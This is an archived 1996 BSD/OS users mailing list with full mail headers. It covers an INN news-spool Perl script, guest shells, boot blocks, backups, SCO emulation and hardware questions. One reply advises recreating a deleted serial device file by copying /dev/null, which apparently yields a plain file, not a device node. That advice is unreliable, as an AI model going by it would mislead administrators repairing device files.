"GMT" "David Bauman" "davidb@zeus.anet-dfw.com" nil "148" "Re: Inn: articles no longer in history file" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA05707 for ; Fri, 22 Nov 1996 01:48:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA24924 for bsdi-users-outgoing; Fri, 22 Nov 1996 01:45:29 -0500 (EST) Path: zeus.anet-dfw.com!davidb Newsgroups: info.bsdi.users Organization: ANET Internet Lines: 147 Message-ID: <573i5u$sls@news1.anet-dfw.com> References: <199611212139.WAA16005@velo.pp.vix.com> NNTP-Posting-Host: zeus.anet-dfw.com X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: davidb@zeus.anet-dfw.com (David Bauman) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: Inn: articles no longer in history file Date: 22 Nov 1996 06:45:18 GMT It will not prevent articles from being expired. Check out the expire man page. DB James A. Brister (brister@vix.com) wrote: : On Thu, 21 Nov 1996 07:30:17 +0100 (MET), david@isdnet.net said: : > I have articles which are no longer referenced in the history file. : > So, It seems that prevents those articles being expired (and I have 40 000 : > articles in misc.jobs.offered). : Try the perl script by Harry Bochner called findmissing, which I append here... : James : -- : James Brister brister@vix.com : Internet Software Consortium inn@isc.org : ------------------------------------------------------------------------------ : #!/usr/bin/perl : # findmissing : # scan news spool, and report articles that are not in the history file. : # Written by Harry Bochner, 3/95 : # This program may be distributed freely, but please annotate any changes, : # and please leave these comments in place. : # - change verbose messages to go to stderr: David Barr, 23 Feb 1996 : # Adjust the next two lines to the local configuration. : $history = '/usr/local/lib/news/history'; : $spool= '/var/spool/news'; : # Give -v flag for verbose progress report. : $verbose = 0; : $verbose = shift if $ARGV[0] eq "-v"; : chdir($spool) || die "$0: $spool: $!"; : # scan the news spool recursively, looking for articles; build the internal : # bit string representation that will be checked by check_history. : # : # NB: This routine assumes that directories never have all-numeric names. : # If you want it to understand alt.2600, you'll have to treat that : # as a special case. : sub scan { : local($group, $path, $depth) = @_; : local($fn, @dirs, $min, $max, @nums, $size, $str, $dir); : $0 = "scanning $group" if $depth <= 2; : $dir = $path || "."; : unless (opendir(DIR, $dir)) { : warn("$0: $dir: $!"); : return; : } : print STDERR "scanning $path\n" if $verbose; : $min = $max = 0; : while ($fn = readdir(DIR)) { : next if $fn =~ /\./ || $fn eq "lost+found"; : push(@dirs, $fn), next : unless $fn =~ /^\d+$/; : $min = $fn if $min == 0 || $min > $fn; : $max = $fn if $fn > $max; : push(@nums, $fn); : } : closedir(DIR); : if ($min) { : $min{$group} = $min; : $size = ($max-$min+7) / 8; : $str = "\0" x $size; : foreach (@nums) { : vec($str, $_-$min, 1) = 1; : } : $arts{$group} = $str; : } : $group .= "." if $group; : $path .= "/" if $path; : $depth++; : foreach $fn (@dirs) { : &scan("$group$fn", "$path$fn", $depth); : } : } : # Scan the history file, and clear the bit flags for all articles found there. : sub check_history { : local($arts, @arts, $group, $num); : print STDERR "scanning history\n" : if $verbose; : open(IN, "<$history") || die "$0: $history: $!"; : while () { : @arts = split; : shift @arts; shift @arts; # skip first two fields : foreach (@arts) { : ($group, $num) = split(m,/,); : next unless $num; # sanity check : $arts++; : # clear that bit : vec($arts{$group}, $num-$min{$group}, 1) = 0 : if defined $min{$group} && $num >= $min{$group}; : } : print STDERR "$. lines, $arts articles so far\n" if $verbose && $. % 50000 == 0; : $0 = "history line $." if $. % 50000 == 0; : } : close(IN); : print STDERR "done reading history, $arts articles\n" if $verbose; : } : &scan("", "", 0); : &check_history; : # now check all the bitstrings, and if there are any flags still set, : # report that article. : print STDERR "checking for missing articles\n" if $verbose; : foreach $group (sort keys %arts) { : $min = $min{$group}; : $str = unpack("b*", $arts{$group}); : delete $arts{$group}; delete $min{$group}; # recover memory? : next unless $str =~ /1/; : $path = ""; : for (split(/x*/, $str)) { : if ($_) { : unless ($path) { : $path = $group; $path =~ s,\.,/,g; : $0 = "findmissing $group"; : } : print "$path/$min\n"; : } : $min++; : } : } From VM Fri Nov 22 07:18:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["589" "" "22" "November" "1996" "06:40:39" "GMT" "David Bauman" "davidb@zeus.anet-dfw.com" nil "16" "Re: guest login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA05703 for ; Fri, 22 Nov 1996 01:48:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA24900 for bsdi-users-outgoing; Fri, 22 Nov 1996 01:41:24 -0500 (EST) Path: zeus.anet-dfw.com!davidb Newsgroups: info.bsdi.users Organization: ANET Internet Lines: 15 Message-ID: <573ht7$sls@news1.anet-dfw.com> References: <32408EB5.3A3F@eoe-magical.org> NNTP-Posting-Host: zeus.anet-dfw.com X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: davidb@zeus.anet-dfw.com (David Bauman) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: guest login Date: 22 Nov 1996 06:40:39 GMT Donald Dahlman (druid@eoe-magical.org) wrote: : I want to create an account so when a "guest" caller logs in using : the login name of guest, the password is bypassed and they are : directed to a limited directory. This account needs to allow : multiple logins under guest. : Any one have an idea. : Donald Dahlman Ive been running a custom shell I've created for guest accounts, and it seems to work well. Considering it has been up over 2 years without somebody exploiting root from it, I would say it has been successful. But, I do stress that you have to keep an eye on it. Db From VM Fri Nov 22 07:18:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["853" "Thu" "21" "November" "1996" "22:49:05" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "28" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA05712 for ; Fri, 22 Nov 1996 01:48:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA24934 for bsdi-users-outgoing; Fri, 22 Nov 1996 01:49:43 -0500 (EST) Message-Id: <3.0.1.32.19961121224147.006a8f44@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita Cc: Kent Ketell , bsdi-users@BSDI.COM Subject: Re: Install problems Date: Thu, 21 Nov 1996 22:49:05 -0800 At 12:23 PM 11/21/96 -0500, Cat Okita wrote: >On Thu, 21 Nov 1996, Kent Ketell wrote: >> I am not sure I understand your question. Are you saying that I should >> NOT be using the 'aha' boot blocks? All of my other systems are using >> them with no problems, and they have the same types of hardware. > >Yes. Use the bios boot blocks not the aha boot blocks. > >I've also seen the same thing, where an 'identical' machine works just fine >with the aha boot blocks. I keep on meaning to check the card revs etc, but >haven't gotten around to it. > >Don't forget to have the bios enabled on your scsi controller though... > >Cat Okita >System Administrator, UUNET Canada > > > Thanks to all of you for your input. The problem was in fact the need to use bios boot blocks instead of the aha. All is well now on the home front. Thanks again. -Kent- From VM Fri Nov 22 07:18:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["685" "Fri" "22" "November" "1996" "03:09:33" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "14" "SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA10047 for ; Fri, 22 Nov 1996 03:19:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA27103 for bsdi-users-outgoing; Fri, 22 Nov 1996 03:09:50 -0500 (EST) Message-Id: <199611220809.DAA23202@jparnas.cybercom.net> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Fri, 22 Nov 1996 03:09:33 -0500 1. What is the best (for BSDI 3.0) Ultra SCSI wide PCI card? I've heard Buslogic is better than Adaptek, and BSDI says NCR has a good one. Does anyone know which is best and the best place/price to get it from? 2. I'm looking for the cheapest 10 Mbit/sec AUI (15 pin) ethernet card so I can hook up my new system to my old Sun Sparcstation 2. Anyone have any pointers. Even used would be OK. Either ISA or PCI is fine. Performance isn't important (any card should do what I want: simple X rlogin and NFS mounting with only 2 computers on the net. It has to be a AUI because I have cables and a hub with the 15 pin type connectors. Thanks, Jacob From VM Fri Nov 22 07:19:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["823" "Fri" "22" "November" "1996" "11:50:39" "+0000" "Robert J. Dunlop" "Bob.Dunlop@chaser.co.uk" nil "24" "Re: licence." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA14726 for ; Fri, 22 Nov 1996 06:15:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA27298 for bsdi-users-outgoing; Fri, 22 Nov 1996 06:04:43 -0500 (EST) Message-Id: <9611221150.AA01187@fire.chaser.co.uk> In-Reply-To: from "Brian Backer" at Nov 20, 96 11:12:21 pm Organization: Chase Research PLC X-Mailer: ELM [version 2.4 PL25] Content-Type: text Precedence: bulk From: "Robert.J.Dunlop" Sender: owner-bsdi-users@lists.gateway.com To: bbacker@blink.net (Brian Backer) Cc: bsdi-users@BSDI.COM Subject: Re: licence. Date: Fri, 22 Nov 1996 11:50:39 +0000 (GMT) > I would like to set up another bsdi box > in my office, but I dont want to spend the > tons of money for a new licence. What is the > most productive way. thanks alot :) Too right. Whatever happened to the "right to use" licence we had in Europe ? No additional media, info or support, just a piece of paper giving you the right to install and run on a second machine. Cost a couple of hundred dollars if I remember right. Very useful if you want to run single user systems for developers etc. It was cheap enough I even brought one when I installed a second machine at home. We've been installing FreeBSD (not as good but a lot cheaper). I could swing a couple of hundred bucks but not a thousand :-( Or what about a "Site licence" I've 20 developers here, I'd love to put BSDi on every desk. -- Bob Dunlop From VM Fri Nov 22 07:19:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1593" "Fri" "22" "November" "1996" "12:20:48" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "45" "Re: Panic !!! /tmp full" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA15010 for ; Fri, 22 Nov 1996 06:24:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA27333 for bsdi-users-outgoing; Fri, 22 Nov 1996 06:22:15 -0500 (EST) In-Reply-To: <199611202142.NAA07274@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: Panic !!! /tmp full Date: Fri, 22 Nov 1996 12:20:48 +0100 (MET) I'd like to thank you all who helped me solve the "/tmp full" problem :) Maciej Przybecki SYLABA Internet On Wed, 20 Nov 1996, Bill Webb wrote: > > > > I'm running P133/32 MB RAM with 8 MB mfs memory filesystem for /tmp > > > > Last days my users decided to use screens so they filled up my /tmp. > > I wouldn't be a problem but when I cleaned up my /tmp the problem didn't > > disappear. > > I made some dumps before rebooting. > > > > My questions are: > > 1. How to really clean up the /tmp ? (look down) > > 2. How does swap work according to my full /tmp ? > > 3. How to safe migrate to traditional disk fs for /tmp (If it is really > > necesary? > > 4. If I buy more MB RAM, how to increase my MFS? > > > > You probably deleted an open file, which means that you had to kill off > the process that was using the file in order to free up the space or > do a reboot. > > If you only have 8MB of ram then you shouldn't use MFS - it should only be > used if you have lots of RAM and lots of swap space. > > If you want to increase the amount of MFS space just change the appropriate > entry in /etc/fstab (but I don't recommend you doing so). I think you specify > -s but you'll have to check on that. > > In general, you're probably better off with just using a disk partition for > tmp that way your users aren't going to run you out of swap space by filling > /tmp. > > Bill Webb. Telebit NetBlazer Software Development Group > Email: webb@telebit.com WWW: http://www.telebit.com/~webb > -- above opinions are my own, not necessarily those of my employer -- > > From VM Fri Nov 22 07:19:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["250" "Fri" "22" "November" "1996" "12:53:38" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "11" "It's a shame I know...;-)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA16083 for ; Fri, 22 Nov 1996 07:02:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA27354 for bsdi-users-outgoing; Fri, 22 Nov 1996 06:54:12 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: It's a shame I know...;-) Date: Fri, 22 Nov 1996 12:53:38 +0100 (MET) Yesterday I made really stupid thing. I deleted by mistake one of my device files. It was /dev/tty1af - one of EQUINOX SST multiport board ports Could someone help me to create another one. ? Any help apreciated Maciej Przybecki SYLABA Internet From VM Fri Nov 22 21:34:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2540" "Fri" "22" "November" "1996" "13:56:39" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "67" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA17668 for ; Fri, 22 Nov 1996 08:01:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA27406 for bsdi-users-outgoing; Fri, 22 Nov 1996 07:57:17 -0500 (EST) In-Reply-To: <199611191704.JAA27195@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Fri, 22 Nov 1996 13:56:39 +0100 (MET) I started SAMBA. It works really great. I suppose it can be good platform to perform backups. My "next step" question is: How to perform incremental backups on my machine? As I mentioned I've two P133 with 32MB RAM, 2 GB HDD. One running BSDI BSD/OS, the second WIndows NT Workstation 3.51 I have HP SUperStore 6000 installed on NT-machine I use 4 GB tapes for backups My requirements are (on BSDI machine): basic set of files to backup - about 700 MB daily incrementals - average 10 MB So: 1. should I prepare files to backup on my BSDI machine or it is enough to perform backups from NT (what about permisions)? 2. If I need to prepare incremental backup on my BSDI, which scripts to use to perform incremental backup. I'm not experienced in backups so I would apreciate any hint. Regards, Maciej Przybecki SYLABA Internet On Tue, 19 Nov 1996, Bill Webb wrote: > > > > Thank you all for all the ideas. These're very helpful for me. > > The only question is - permisions. > > > > How to preserve permisions through NFS during restoring backup. > > I currentlly use tar with these parameters to store the files > > I want to back up: > > tar cfp etc.tar /etc > > ... > > After that I store these files through NFS directly to the tape on my NT > > machine. This is useful as far as I don't want to backup the whole > > structure but only want to do an incremental backup. > > > > I'm not expirienced in backups at all so please do not throw tomatoes on > > me ;-). I could write some scripts by myself but I don'd want to brake > > the open door. > > > > So could you please help me to arrange such an incremental backup on > > these machines. I mean which software use for backup and restoring. > > > > If you have sufficient space you can do incremental dumps to the NFS > filesystem mounted from the NT machine, or you can use find to generate > lists of new files and/or pax to write these to tape through NFS. > > Permissions aren't a problem as that is encoded in the tar, pax, or dump > format and you're just using NFS and NT as a transport mechanism. > > Its hard to give you very specific advise without knowing details on how > big your tape drive is, how much temporary space you have on the NFS filesystem > and how big the filesystems are that you are trying to dump (and how much they > change). > > Bill Webb. Telebit NetBlazer Software Development Group > Email: webb@telebit.com WWW: http://www.telebit.com/~webb > -- above opinions are my own, not necessarily those of my employer -- > > From VM Fri Nov 22 21:34:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["407" "Fri" "22" "November" "1996" "06:13:21" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "19" "Re: It's a shame I know...;-)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA18025 for ; Fri, 22 Nov 1996 08:09:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA27417 for bsdi-users-outgoing; Fri, 22 Nov 1996 08:03:14 -0500 (EST) Message-Id: <199611221313.GAA03528@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "MP" at Nov 22, 96 12:53:38 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bobie@grendel.sylaba.poznan.pl (MP) Cc: bsdi-users@BSDI.COM Subject: Re: It's a shame I know...;-) Date: Fri, 22 Nov 1996 06:13:21 -0700 (MST) > > > Yesterday I made really stupid thing. I deleted by mistake one of my > device files. > It was /dev/tty1af - one of EQUINOX SST multiport board ports > > Could someone help me to create another one. ? > > Any help apreciated > Maciej Przybecki > SYLABA Internet > You should be able to recreate the device as follows: cp /dev/null /dev/tty1af chown uucp.tty /dev/tty1af chmod 0600 /dev/tty1af From VM Fri Nov 22 21:34:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["284" "Fri" "22" "November" "1996" "07:35:28" "EST" "BSD information" "mirage!bsd@uucp-1.csn.net" nil "15" "Re: SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA18337 for ; Fri, 22 Nov 1996 08:14:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA27425 for bsdi-users-outgoing; Fri, 22 Nov 1996 08:09:38 -0500 (EST) Message-Id: <9611221235.AA02690@mirage> In-Reply-To: ; from "David Miller" at Nov 21, 96 9:16 pm X-Mailer: ELM [version 2.3 PL0] Precedence: bulk From: mirage!bsd@uucp-1.csn.net (BSD information) Sender: owner-bsdi-users@lists.gateway.com To: david@sparks.net (David Miller) Cc: bsdi-users@lists.gateway.com (BSD mailing list) Subject: Re: SCO Emulation Date: Fri, 22 Nov 96 7:35:28 EST David Miller writes: > > On Wed, 20 Nov 1996 mirage!bsd@uucp-1.csn.net wrote: > > > > I have used it to support the SCO version of WP-5.1, no problem. > > Text or X version? > The X version. I have run the text version under emulation on another platform, but not BSD/OS. Al From VM Fri Nov 22 21:34:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["318" "Fri" "22" "November" "1996" "08:16:22" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "13" "EIDE CDROM's, are they supported?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA18363 for ; Fri, 22 Nov 1996 08:20:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA27444 for bsdi-users-outgoing; Fri, 22 Nov 1996 08:16:33 -0500 (EST) Message-Id: <199611221316.IAA24088@jparnas.cybercom.net> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 08:16:22 -0500 I misread the supported hardware section and am not sure that my EIDE 12x no-name CD-ROM is supported. The hardware specs say Any SCSI or ATAPI CDROM drive Mitsumi LU002S, LU005S, FX001S, FX001D I don't know what ATAPI is. Anyway, are EIDE CDROMs supported by BSDI (even 3.0 would be helpful)? Thanks, Jacob From VM Fri Nov 22 21:34:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["538" "Fri" "22" "November" "1996" "05:16:46" "-0800" "Andy J. Stefancik" "ajs6143@eerpf001.ca.boeing.com" nil "20" "Re: SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA18381 for ; Fri, 22 Nov 1996 08:23:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA27450 for bsdi-users-outgoing; Fri, 22 Nov 1996 08:16:58 -0500 (EST) Message-Id: <199611221316.FAA16412@eerdw019.ypdevelopment> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: aElSFSOjnYuXfgD9g3r8ig== Precedence: bulk From: ajs6143@eerpf001.ca.boeing.com ( Andy J. Stefancik 237-2164 ) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: SCO Emulation Date: Fri, 22 Nov 1996 05:16:46 -0800 > JEFFREY ANDREW CAMPBELL writes: > > > > Has anyone out there had any experience (or preferably extensive > > experience) using a BSD/OS box to support legacy SCO apps under the SCO > > emulation support? > > > > I have used it to support the SCO version of WP-5.1, no problem. >Text or X version? >- ---David I have used the X version 5.1 WP with no problems, after the fonts were converted and the DISPLAY variable was set properly. I have been wondering if bsdi ever got WP 6.0 to work under SCO emulation. Andy Stefancik From VM Fri Nov 22 21:34:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["502" "Fri" "22" "November" "1996" "14:20:03" "+0100" "Ray Davis" "rdavis@masschaos.de.convex.com" nil "16" "Re: SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA18636 for ; Fri, 22 Nov 1996 08:28:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA27465 for bsdi-users-outgoing; Fri, 22 Nov 1996 08:21:35 -0500 (EST) Message-Id: <9611221420.ZM25808@masschaos.de.convex.com> In-Reply-To: David Miller "Re: SCO Emulation" (Nov 21, 21:16) References: X-Mailer: Z-Mail (3.2.1 10oct95) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Ray Davis" Sender: owner-bsdi-users@lists.gateway.com To: David Miller , mirage!bsd@uucp-1.csn.net Cc: jeffreyc@ug.cs.dal.ca, bsdi-users@lists.gateway.com Subject: Re: SCO Emulation Date: Fri, 22 Nov 1996 14:20:03 +0100 > > > Has anyone out there had any experience (or preferably extensive > > > experience) using a BSD/OS box to support legacy SCO apps under the SCO > > > emulation support? > > > > I have used it to support the SCO version of WP-5.1, no problem. > > Text or X version? Work with the X version. I don't use it extensively, but it seems to work fine. We're also running the CrossWind Synchronize server and client via SCO emulation (http://www.crosswind.com/). Not a single problem so far. Ray From VM Fri Nov 22 21:34:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1521" "Fri" "22" "November" "1996" "08:22:48" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "35" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA18641 for ; Fri, 22 Nov 1996 08:29:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA27471 for bsdi-users-outgoing; Fri, 22 Nov 1996 08:23:04 -0500 (EST) Message-Id: <199611221322.IAA24112@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 22 Nov 1996 08:21:49 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Helen Birkmann cc: bsdi-users@BSDI.COM Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Fri, 22 Nov 1996 08:22:48 -0500 In message you write: >> 1. What is the best (for BSDI 3.0) Ultra SCSI wide PCI card? I've heard >> Buslogic is better than Adaptek, and BSDI says NCR has a good one. Does >> anyone know which is best and the best place/price to get it from? > >Does BSDI 3.0 now support fast & wide SCSI II? Wide Ultra SCSI-III are now supported (or will be around December when V. 3.0 is out). > >> 2. I'm looking for the cheapest 10 Mbit/sec AUI (15 pin) ethernet card so >> I can hook up my new system to my old Sun Sparcstation 2. Anyone have >> any pointers. Even used would be OK. Either ISA or PCI is fine. >> Performance isn't important (any card should do what I want: simple X >> rlogin and NFS mounting with only 2 computers on the net. It has to >> be a AUI because I have cables and a hub with the 15 pin type connectors. >> >> Thanks, Jacob > >Try Minta 10800-82MINTA, but remember: cheap is often unreliable. You'll >spent more money on RMAs than what you saved by buying the cheaper card. >And what if the drivers are not compatible with BSDI? > I'm sorry. I thought compatability with BSDI was a given in this newsgroup. As for cheap, I'm just looking for a decent reliable cheap adapter. Unlike a lot of things in my system, the speed is not a major deal to me to my other computer. I don't want junk or something incompatable, but don't want a real expensive one if a cheaper decent one is possible. Thanks, Jacob From VM Fri Nov 22 21:34:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["361" "Fri" "22" "November" "1996" "13:42:15" "+0000" "Dave MacRae" "dave@businessmonitor.co.uk" nil "14" "Oracle" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA19218 for ; Fri, 22 Nov 1996 08:48:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA27518 for bsdi-users-outgoing; Fri, 22 Nov 1996 08:43:37 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave MacRae Sender: owner-bsdi-users@lists.gateway.com To: BSD mailing list Subject: Oracle Date: Fri, 22 Nov 1996 13:42:15 +0000 (GMT) Does anyone know if Oracle is available in native format for BSDI 2.1 or if the SCO version can run in emulation mode. Regards Dave MacRae -- Business Monitor Webmaster http://www.businessmonitor.co.uk Phone: +44 131 551 3515 Main Office: +44 171 820 7733 Fax: +44 131 551 3514 +44 171 820 0748 From VM Fri Nov 22 21:34:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["6855" "Fri" "22" "November" "1996" "16:10:22" "+1100" "Mark Hepworth" "bareil@is-1.net.au " nil "170" "Front Page Extentions" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA21702 for ; Fri, 22 Nov 1996 10:21:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA27619 for bsdi-users-outgoing; Fri, 22 Nov 1996 10:11:18 -0500 (EST) Message-Id: <199611220506.QAA15256@server.is-1.net.au> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Mark Hepworth" > Sender: owner-bsdi-users@lists.gateway.com To: Subject: Front Page Extentions Date: Fri, 22 Nov 1996 16:10:22 +1100 Hi there everyone The Server extentions are a group of files that are installed to your www system to allow your Windows 95 PC directly talk to your WWW and allow online editing and adistion through and import commnad for more info try Mircosoft MARK HEPWORTH Sysop IS-1 Internet Service Provider ---------- > From: R. Craig Peterson- Mainstream > To: webby@is-1.net.au > Subject: RE: From Front Page to Apache Publishing > Date: Friday, 22 November 1996 11:45 AM > > What are the front page extensions you're referring to? It sounds > interesting. > > Thanks, > > Craig. > > From: "Timothy L. Minahan" > Date: Fri, 22 Nov 1996 11:06:28 +1100 > Sender: owner-bsdi-users@lists.gateway.com > Precedence: bulk > > This is a multi-part message in MIME format. > > ------=_NextPart_000_01BBD865.35B56F00 > Content-Type: text/plain; charset=ISO-8859-1 > Content-Transfer-Encoding: 7bit > > ---------- > > From: Orlando Alberto Furlan Artiga > > To: bsdi-users@BSDI.COM > > Subject: From Front Page to Apache Publishing > > Date: Thursday, 21 November 1996 10:09 AM > > > > Hi ! > > > > I would like to know what are the changes I need to make in order to > > publish from Front Page to Apache in both the server and the client ? > > > > Is possible www.name.dom/~user edit your own pages with this method ? > > > > Thanks for this help in advance, > > > > Greetings from Nicaragua, > > -- > > / \ > > // \\ > > /// \\\ > > /// \\\ > > 